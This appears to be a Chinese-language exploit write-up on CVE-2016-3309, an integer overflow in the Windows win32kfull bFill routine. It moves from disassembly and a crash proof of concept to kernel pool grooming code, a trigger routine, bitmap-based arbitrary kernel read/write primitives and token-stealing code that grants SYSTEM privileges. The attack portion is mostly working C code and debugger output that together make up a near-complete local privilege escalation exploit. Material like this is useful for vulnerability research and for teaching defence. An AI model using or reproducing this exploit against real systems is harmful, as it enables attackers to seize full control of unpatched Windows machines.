一
前言
二
漏洞分析
typedef struct _EPATHOBJ
{
PATHOBJ po;
PPATH pPath;
CLIPOBJ *pco;
} EPATHOBJ, *PEPATHOBJ;
typedef struct _PATHOBJ {
FLONG fl;
ULONG cCurves;
} PATHOBJ;
.text:00000001C02C8D24 ; __int64 __fastcall bFill(struct EPATHOBJ *ePathObj, __m128i *a2, int a3, void (__stdcall *a4)(struct _RECTL *, unsigned int, void *), void *a5)
. // 省略部分代码
.text:00000001C02C8D56 mov rbx, rcx ;将第一个参数EPATHOBJ赋值给rbx
// 省略部分代码
.text:00000001C02C90DE mov eax, [rbx+4] ; 将cCurves赋值给eax
.text:00000001C02C90E1 cmp eax, 14h ; 比较eax是否大于0x14,如果大于则跳转,这里需要跳转才能申请
.text:00000001C02C90E4 ja short loc_1C02C90FA
.text:00000001C02C90F3 and [rsp+658h+isAlloc], 0 ;如果不大于0x14,则不申请内存,该变量置0
.text:00000001C02C90F8 jmp short loc_1C02C9126
// 省略部分代码
.text:00000001C02C90FA loc_1C02C90FA: ; 申请内存的代码
.text:00000001C02C90FA lea ecx, [rax+rax*2] ; 将cCurves * 3的值赋给ecx
.text:00000001C02C90FD shl ecx, 4 ; 将ecx左移4位,即乘以2^4 = 0x10,所以ecx = cCurves * 0x30
.text:00000001C02C9100 xor r8d, r8d
.text:00000001C02C9103 mov edx, 'gdeG'
.text:00000001C02C9108 call PALLOCMEM2 ; 该函数会调用Win32AllocPool申请内存
.text:00000001C02C910D mov r14, rax ; 将申请到的内存地址赋给r14
.text:00000001C02C9110 mov [rsp+658h+var_608], rax
.text:00000001C02C9115 test rax, rax ; 判断内存是否申请成功
.text:00000001C02C9118 jz loc_1C02C93CA
.text:00000001C02C911E mov [rsp+658h+isAlloc], 1 ;申请成功则将该变量置1
// 省略部分代码
.text:00000001C02C9182 mov r8, r14 ; 将前面保存在r14的申请到的内存地址赋给r8
.text:00000001C02C9185 lea rdx, [rsp+658h+var_5A8]
.text:00000001C02C918D mov rcx, rbx
.text:00000001C02C9190 call cs:__imp_bConstructGET ; 该函数会对申请到的内存地址进行写入操作
// 省略部分代码
.text:00000001C02C93B8 cmp [rsp+658h+isAlloc], 0 ; 通过变量isAlloc判断上面内存申请是否成功
.text:00000001C02C93BD jz short loc_1C02C93C8
.text:00000001C02C93BF mov rcx, r14
.text:00000001C02C93C2 call cs:__imp_Win32FreePool ; 如果成功则释放内存
// 省略部分代码
.text:00000001C02C93EC [email protected]@[email protected]@[email protected]@[email protected]@Z endp
BOOL POC_CVE_2016_3309()
{
BOOL bRet = TRUE;
static POINT points[0x3fe01];
points[0].x = 1;
points[0].y = 1;
// Get Device context of desktop hwnd
HDC hdc = GetDC(NULL);
// Get a compatible Device Context to assign Bitmap to
HDC hMemDC = CreateCompatibleDC(hdc);
// Create Bitmap Object
HGDIOBJ bitmap = CreateBitmap(0x5a, 0x1f, 1, 32, NULL);
// Select the Bitmap into the Compatible DC
HGDIOBJ bitobj = (HGDIOBJ)SelectObject(hMemDC, bitmap);
//Begin path
BeginPath(hMemDC);
// Calling PolylineTo 0x156 times with PolylineTo points of size 0x3fe01.
for (int j = 0; j < 0x156; j++) {
PolylineTo(hMemDC, points, 0x3FE01);
}
// End the path
EndPath(hMemDC);
// Fill the path
FillPath(hMemDC);
return bRet;
}
1: kd> p
win32kfull!bFill+0x3d6:
fffff961`218c90fa 8d0c40 lea ecx,[rax+rax*2] // ecx = eax * 3
1: kd> p
win32kfull!bFill+0x3d9:
fffff961`218c90fd c1e104 shl ecx,4 // ecx = ecx * 2^4 = ecx * 0x10 = eax * 0x30
1: kd> r ecx
ecx=10000005
1: kd> p
win32kfull!bFill+0x3dc:
fffff961`218c9100 4533c0 xor r8d,r8d
1: kd> r rcx // 此时rcx已经溢出为0x50
rcx=0000000000000050
1: kd> p
win32kfull!bFill+0x3df:
fffff961`218c9103 ba47656467 mov edx,67646547h
1: kd> p
win32kfull!bFill+0x3e4:
fffff961`218c9108 e8ef3fd5ff call win32kfull!PALLOCMEM2 (fffff961`2161d0fc)
1: kd> p
win32kfull!bFill+0x3e9:
fffff961`218c910d 4c8bf0 mov r14,rax
1: kd> r rax
rax=fffff90141c96380 // 申请的内存的地址
1: kd> !analyze -v
*******************************************************************************
* *
* Bugcheck Analysis *
* *
*******************************************************************************
BAD_POOL_HEADER (19) // BSOD产生的原因
The pool is already corrupt at the time of the current request.
This may or may not be due to the caller.
The internal pool links must be walked to figure out a possible cause of
the problem, and then special pool applied to the suspect tags or the driver
verifier to a suspect driver.
Arguments:
Arg1: 0000000000000020, a pool block header size is corrupt.
Arg2: fffff90141c96370, The pool entry we were looking for within the page. // 申请的内存块的_POOL_HEADER
Arg3: fffff90141c963d0, The next pool entry. // 申请的内存块的下一内存块_POOL_HEADER
Arg4: 0000000025060037, (reserved)
SYMBOL_NAME: win32kfull!bFill+2dd
三
漏洞利用
BOOL Init_CVE_2016_3309()
{
BOOL bRet = TRUE;
CONST DWORD dwBitNum = 5000, dwAccelNum = 5000, dwJunkNum = 2000;
DWORD i = 0;
HBITMAP hBitMap[dwBitNum + 5] = { 0 };
HACCEL hAccel[dwAccelNum + 5] = { 0 };
for (i = 0; i < dwJunkNum; i++)
{
// 0x8 * 0x6 + 0x20 + 0x10 = 0x30 + 0x20 + 0x10 = 0x60
ACCEL accel[0x6] = { 0 };
hAccel[i] = CreateAcceleratorTableA(accel, 0x6);
if (!hAccel[i])
{
ShowError("CreateAcceleratorTableA", GetLastError());
bRet = FALSE;
goto exit;
}
}
for (i = 0; i < dwBitNum; i++)
{
// 0xD30 * 1 * 8 / 8 = 0xD30
// 0xD30 + 0x10 + 0x260 = 0xFA0
hBitMap[i] = CreateBitmap(0xD30, 1, 1, 8, NULL);
if (!hBitMap[i])
{
ShowError("CreateBitmap", GetLastError());
bRet = FALSE;
goto exit;
}
}
for (i = 0; i < dwAccelNum; i++)
{
// 0x8 * 0x6 + 0x20 + 0x10 = 0x30 + 0x20 + 0x10 = 0x60
ACCEL accel[0x6] = { 0 };
hAccel[i] = CreateAcceleratorTableA(accel, 0x6);
if (!hAccel[i])
{
ShowError("CreateAcceleratorTableA", GetLastError());
bRet = FALSE;
goto exit;
}
}
for (i = 0; i < dwBitNum; i++)
{
// 释放0xFA0的BitMap对象
if (!DeleteObject(hBitMap[i]))
{
ShowError("DeleteObject", GetLastError());
bRet = FALSE;
goto exit;
}
hBitMap[i] = NULL;
}
for (i = 0; i < dwBitNum; i++)
{
// 0xB9C + 0x14 + 0x10 = 0xBC0,占用其中的0xBC0
// 这样释放BitMap对象获取的0xFA0内存就剩余0xFA0 - 0xBC0 = 0x3E0
if (!CreateClipboard(0xB9C))
{
bRet = FALSE;
goto exit;
}
}
for (i = 0; i < dwBitNum; i++)
{
// 0x5C * 32 / 8 = 0x5C * 4 = 0x170
// 0x170 + 0x10 + 0x260 = 0x3E0
// 占用剩余的0x3E0内存
hBitMap[i] = CreateBitmap(0x5C, 1, 1, 32, NULL);
if (!hBitMap[i])
{
ShowError("CreateBitmap", GetLastError());
bRet = FALSE;
goto exit;
}
}
for (i = 2000; i < 3000; i++)
{
// 释放部分页尾的0x60字节的内存,其中的某块用来保存漏洞申请的0x60内存
if (!DestroyAcceleratorTable(hAccel[i]))
{
ShowError("DestroyAcceleratorTable", GetLastError());
bRet = FALSE;
goto exit;
}
hAccel[i] = NULL;
}
exit:
return bRet;
}
1: kd> g
Breakpoint 0 hit
win32kfull!bFill+0x3e4:
fffff960`298e9108 e8ef3fd5ff call win32kfull!PALLOCMEM2 (fffff960`2963d0fc)
2: kd> p
win32kfull!bFill+0x3e9:
fffff960`298e910d 4c8bf0 mov r14,rax
2: kd> r rax
rax=fffff90145284fb0
typedef struct {
ULONG64 hHmgr;
ULONG32 ulShareCount;
WORD cExclusiveLock;
WORD BaseFlags;
ULONG64 Tid;
} BASEOBJECT64; // sizeof = 0x18
typedef struct tagSIZE {
LONG cx;
LONG cy;
} SIZE,*PSIZE,*LPSIZE;
typedef SIZE SIZEL;
typedef struct {
ULONG64 dhsurf; // 0x00
ULONG64 hsurf; // 0x08
ULONG64 dhpdev; // 0x10
ULONG64 hdev; // 0x18
SIZEL sizlBitmap; // 0x20
ULONG64 cjBits; // 0x28
ULONG64 pvBits; // 0x30
ULONG64 pvScan0; // 0x38
ULONG32 lDelta; // 0x40
ULONG32 iUniq; // 0x44
ULONG32 iBitmapFormat; // 0x48
USHORT iType; // 0x4C
USHORT fjBitmap; // 0x4E
} SURFOBJ64; // sizeof = 0x50
typedef struct tagRECT {
LONG left;
LONG top;
LONG right;
LONG bottom;
} RECT,*PRECT,*NPRECT,*LPRECT;
typedef LONG FIX;
typedef struct _POINTFIX {
FIX x;
FIX y;
} POINTFIX, *PPOINTFIX;
struct EDGE *__fastcall AddEdgeToGET(struct EDGE *a1, struct EDGE *a2, struct _POINTFIX *prePoint, struct _POINTFIX *curPoint, struct _RECTL *rect)
{
cur_y = *((_DWORD *)curPoint + 1); // 取出当前点的y
min_y = *((_DWORD *)prePoint + 1); // 将上一个点的y赋给min_y
pre_y = *((_DWORD *)prePoint + 1); // 取出上一个点的y
plus_y = *((_DWORD *)curPoint + 1) - pre_y; // 将当前点的y与上一个点的y相减
edge = a2; // 将申请的内存块赋给edge
if ( plus_y < 0 ) // 判断两个y值相减是否小于0
{
max_y = min_y; // 将min_y,即上一个点的y赋给max_y
*((_DWORD *)edge + 0xA) = 0xFFFFFFFF; // 内存偏移0xA * 0x4 = 0x28处赋值为0xFFFFFFFF
min_y = cur_y; // 小于0,则将min_y赋值为cur_y,所以min_y等于当前点与上一个点中较小的那个
}
else
{
max_y = *((_DWORD *)curPoint + 1); // 将当前点的y赋给max_y,所以max_y等于当前点与上一个点中较大的那个
*((_DWORD *)edge + 0xA) = 1; // 内存偏移0xA * 0x4 = 0x28处赋值为1
}
v15 = (min_y + 0xF) >> 4;
v16 = ((max_y + 0xF) >> 4) - v15;
if ( v16 <= 0 ) // 较大值与较小值如果相等,也就是两个点的y值相等,此时就会返回
return edge;
result = (struct EDGE *)((char *)edge + 0x30); // 取下一个EDGE结构,这里看出每次向后移动0x30个字节,EDGE结构体大小为0x30
return result;
}
BOOL Trigger_CVE_2016_3309()
{
CONST DWORD dwCount = 0x3FE01;
BOOL bRet = TRUE;
static POINT points[dwCount];
HDC hdc = NULL, hMemDC = NULL;
HBITMAP bitmap = NULL;
HGDIOBJ bitobj = NULL;
DWORD i = 0;
// 将y值设置为相同
for (i = 0; i < dwCount; i++)
{
points[i].x = 0x5A1F;
points[i].y = 0x5A1F;
}
// 将第3个点y值设为20
points[2].y = 20;
points[dwCount - 1].x = 0x4A1F;
points[dwCount - 1].y = 0x6A1F;
hdc = GetDC(NULL);
if (!hdc)
{
ShowError("GetDC", GetLastError());
bRet = FALSE;
goto exit;
}
hMemDC = CreateCompatibleDC(hdc);
if (!hMemDC)
{
ShowError("CreateCompatibleDC", GetLastError());
bRet = FALSE;
goto exit;
}
bitmap = CreateBitmap(0x5a, 0x1f, 1, 32, NULL);
if (!bitmap)
{
ShowError("CreateBitmap", GetLastError());
bRet = FALSE;
goto exit;
}
bitobj = (HGDIOBJ)SelectObject(hMemDC, bitmap);
if (!bitobj)
{
ShowError("SelectObject", GetLastError());
bRet = FALSE;
goto exit;
}
if (!BeginPath(hMemDC))
{
ShowError("BeginPath", GetLastError());
bRet = FALSE;
goto exit;
}
for (int j = 0; j < 0x156; j++)
{
// 写入0x20次以后,停止写入
if (j > 0x1F && points[2].y != 0x5A1F) points[2].y = 0x5A1F;
if (!PolylineTo(hMemDC, points, dwCount))
{
ShowError("PolylineTo", GetLastError());
bRet = FALSE;
goto exit;
}
}
if (!EndPath(hMemDC))
{
ShowError("EndPath", GetLastError());
bRet = FALSE;
goto exit;
}
FillPath(hMemDC);
exit:
return bRet;
}
0: kd> g
Breakpoint 0 hit
win32kfull!bFill+0x3e4:
fffff961`9e6c9108 e8ef3fd5ff call win32kfull!PALLOCMEM2 (fffff961`9e41d0fc)
0: kd> p
win32kfull!bFill+0x3e9:
fffff961`9e6c910d 4c8bf0 mov r14,rax
3: kd> r rax
rax=fffff901458b0fb0
3: kd> dq fffff901458b0fb0 + 0x50 + 0xBC0
fffff901`458b1bc0 35306847`233e00bc 00000000`00000000
fffff901`458b1bd0 00000000`02051192 00000000`00000000
fffff901`458b1be0 00000000`00000000 00000000`00000000
fffff901`458b1bf0 00000000`02051192 00000000`00000000
fffff901`458b1c00 00000000`00000000 00000001`0000005c // ffff901`458B1C08处即是sizlBitmap成员
fffff901`458b1c10 00000000`00000170 fffff901`458b1e28
fffff901`458b1c20 fffff901`458b1e28 00002e5b`00000170
fffff901`458b1c30 00010000`00000006 00000000`00000000
3: kd> g
Breakpoint 1 hit
win32kfull!bFill+0x46c:
fffff961`4a4c9190 ff156a7f0800 call qword ptr [win32kfull!_imp_bConstructGET (fffff961`4a551100)]
3: kd> p
win32kfull!bFill+0x472:
fffff961`4a4c9196 8bd8 mov ebx,eax
3: kd> dq fffff901458b0fb0 + 0x50 + 0xBC0
fffff901`458b1bc0 ffffffff`00000014 005a0b00`00000000
fffff901`458b1bd0 00000001`00000000 00000000`00000001
fffff901`458b1be0 fffff901`458b0fb0 00000000`0000001f
fffff901`458b1bf0 ffffffff`00000000 006a1f00`004a1f00
fffff901`458b1c00 00000001`00000000 00000001`ffffffff // 此时sizlBitmap被扩大,且0xffff901`458b1c00中的hdev被修改了
fffff901`458b1c10 00000000`00000170 fffff901`458b1e28 // pvScan0指向的地址没有被修改,是正常的
fffff901`458b1c20 fffff901`458b1e28 00002e5b`00000170
fffff901`458b1c30 00010000`00000006 00000000`00000000
pBuf_2016_3309 = (PULONG64)malloc(0x1000);
if (!pBuf_2016_3309)
{
bRet = FALSE;
ShowError("malloc", GetLastError());
goto exit;
}
ZeroMemory(pBuf_2016_3309, 0x1000);
for (i = 0; i < dwBitNum; i++)
{
if (GetBitmapBits(hBitMap[i], 0x1000, pBuf_2016_3309) > 0x170)
{
g_hWorker_2016_3309 = hBitMap[i];
g_hManager_2016_3309 = hBitMap[i + 1];
break;
}
}
if (!g_hWorker_2016_3309 || !g_hManager_2016_3309)
{
printf("not find BitMap\n");
bRet = FALSE;
goto exit;
}
rax=0000000100000000 rbx=ffffd000b6c019c8 rcx=ffffd000b6c019d0
rdx=ffffd000b6c019d0 rsi=fffff9014511dbd0 rdi=0000000100000000
rip=fffff9614a5a2553 rsp=ffffd000b6c018e8 rbp=ffffd000b6c01a20
r8=fffff9614a4e7e58 r9=0000000000000000 r10=7ffff9014000b588
r11=7ffffffffffffffc r12=ffffd000b6c01b18 r13=0000000003ff3d58
r14=0000000000000000 r15=0000000000001000
iopl=0 nv up ei pl nz na po nc
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00010206
win32kbase!PDEVOBJ::bAllowShareAccess+0x3:
fffff961`4a5a2553 8b5038 mov edx,dword ptr [rax+38h] ds:002b:00000001`00000038=????????
STACK_TEXT:
win32kbase!PDEVOBJ::bAllowShareAccess+0x3
win32kbase!NEEDGRELOCK::vLock+0x21
win32kfull!GreGetBitmapBits+0xf6
win32kfull!NtGdiGetBitmapBits+0xab
1: kd> dd 0000000100000000 + 0x38
00000001`00000038 ???????? ???????? ???????? ????????
00000001`00000048 ???????? ???????? ???????? ????????
00000001`00000058 ???????? ???????? ???????? ????????
00000001`00000068 ???????? ???????? ???????? ????????
00000001`00000078 ???????? ???????? ???????? ????????
00000001`00000088 ???????? ???????? ???????? ????????
00000001`00000098 ???????? ???????? ???????? ????????
00000001`000000a8 ???????? ???????? ???????? ????????
.text:00000001C0012550 ; __int64 __fastcall PDEVOBJ::bAllowShareAccess(PDEVOBJ *__hidden this)
.text:00000001C0012550 mov rax, [rcx]
.text:00000001C0012553 mov edx, [rax+38h]
.text:00000001C0012556 test dl, 1
.text:00000001C0012559 jz short loc_1C00125C1
// 省略部分代码
.text:00000001C00125C1 loc_1C00125C1:
.text:00000001C00125C1
.text:00000001C00125C1 xor eax, eax
.text:00000001C00125C3 retn
.text:00000001C00125C3 [email protected]@@QEAAHXZ endp
PBYTE pBuffer = (PBYTE)VirtualAlloc((PVOID)0x100000000,
0x1000,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE);
if (!pBuffer)
{
ShowError("VirtualAlloc", GetLastError());
bRet = FALSE;
goto exit;
}
*(pBuffer + 0x38) = 1;
BOOL SetAddress_CVE_2016_3309(ULONG64 ulAddress)
{
BOOL bRet = TRUE;
pBuf_2016_3309[0xDF8 / 8] = ulAddress;
if (SetBitmapBits(g_hWorker_2016_3309, 0x1000, pBuf_2016_3309) < 0x1000)
{
ShowError("SetBitmapBits", GetLastError());
bRet = FALSE;
goto exit;
}
exit:
return bRet;
}
BOOL BitMapRead_CVE_2016_3309(ULONG64 ulAddress, PBYTE pRes, DWORD dwSize)
{
BOOL bRet = TRUE;
if (!SetAddress_CVE_2016_3309(ulAddress))
{
bRet = FALSE;
goto exit;
}
if (GetBitmapBits(g_hManager_2016_3309, dwSize, pRes) < dwSize)
{
ShowError("GetBitmapBits", GetLastError());
bRet = FALSE;
goto exit;
}
exit:
return bRet;
}
BOOL BitMapWrite_CVE_2016_3309(ULONG64 ulAddress, PBYTE pRes, DWORD dwSize)
{
BOOL bRet = TRUE;
if (!SetAddress_CVE_2016_3309(ulAddress))
{
bRet = FALSE;
goto exit;
}
if (SetBitmapBits(g_hManager_2016_3309, dwSize, pRes) < dwSize)
{
ShowError("GetBitmapBits", GetLastError());
bRet = FALSE;
goto exit;
}
exit:
return bRet;
}
四
提权
2: kd> dt _EPROCESS
nt!_EPROCESS
+0x2e8 UniqueProcessId : Ptr64 Void
+0x2f0 ActiveProcessLinks : _LIST_ENTRY
+0x358 Token : _EX_FAST_REF
2: kd> dt _LIST_ENTRY
FLTMGR!_LIST_ENTRY
+0x000 Flink : Ptr64 _LIST_ENTRY
+0x008 Blink : Ptr64 _LIST_ENTRY
BOOL WINAPI EnumDeviceDrivers(
__out LPVOID* lpImageBase,
__in DWORD cb,
__out LPDWORD lpcbNeeded);
ULONG64 GetNTBase()
{
ULONG64 Base[0x1000];
DWORD dwRet = 0;
ULONG64 ulKrnlBase = 0;
if (EnumDeviceDrivers((LPVOID*)&Base, sizeof(Base), &dwRet))
{
ulKrnlBase = Base[0];
}
else
{
ShowError("EnumDeviceDrivers", GetLastError());
}
return ulKrnlBase;
}
ULONG64 GetSystemProcess()
{
HMODULE hModel = NULL;
ULONG64 ulAddress = 0, ulOSBase = 0, ulRes = 0;
ulOSBase = GetNTBase();
if (ulOSBase == 0)
{
goto exit;
}
hModel = LoadLibrary("ntoskrnl.exe");
if (!hModel)
{
ShowError("LoadLibrary", GetLastError());
goto exit;
}
ulAddress = (ULONG64)GetProcAddress(hModel, "PsInitialSystemProcess");
if (!ulAddress)
{
ShowError("GetProcAddress", GetLastError());
goto exit;
}
ulRes = ulAddress - (ULONG64)hModel + ulOSBase;
exit:
return ulRes;
}
BOOL EnablePrivilege_CVE_2016_3309()
{
BOOL bRet = TRUE;
CONST DWORD dwTokenOffset = 0x358, dwLinkOffset = 0x2F0, dwPIDOffset = 0x2E8;
ULONG64 ulSystemToken = 0, ulEprocess = 0;
ulEprocess = GetSystemEprocess_CVE_2016_3309();
if (!ulEprocess)
{
bRet = FALSE;
goto exit;
}
if (!BitMapRead_CVE_2016_3309(ulEprocess + dwTokenOffset,
(PBYTE)&ulSystemToken,
sizeof(ULONG64)))
{
bRet = FALSE;
goto exit;
}
ULONG64 ulCurPID = GetCurrentProcessId(), ulPID = 0;
do {
if (!BitMapRead_CVE_2016_3309(ulEprocess + dwLinkOffset,
(PBYTE)&ulEprocess, sizeof(ULONG64)))
{
bRet = FALSE;
goto exit;
}
ulEprocess = ulEprocess - dwLinkOffset;
if (!BitMapRead_CVE_2016_3309(ulEprocess + dwPIDOffset,
(PBYTE)&ulPID, sizeof(ULONG64)))
{
bRet = FALSE;
goto exit;
}
} while (ulPID != ulCurPID);
if (!BitMapWrite_CVE_2016_3309(ulEprocess + dwTokenOffset, (PBYTE)&ulSystemToken, sizeof(ULONG64)))
{
bRet = FALSE;
goto exit;
}
exit:
return bRet;
}
ULONG64 GetSystemEprocess_CVE_2016_3309()
{
ULONG64 ulSystemAddr = GetSystemProcess();
if (!ulSystemAddr)
{
goto exit;
}
ULONG64 ulSystemEprocess = 0;
if (!BitMapRead_CVE_2016_3309(ulSystemAddr,
(PBYTE)&ulSystemEprocess,
sizeof(ULONG64)))
{
goto exit;
}
exit:
return ulSystemEprocess;
}
热文推荐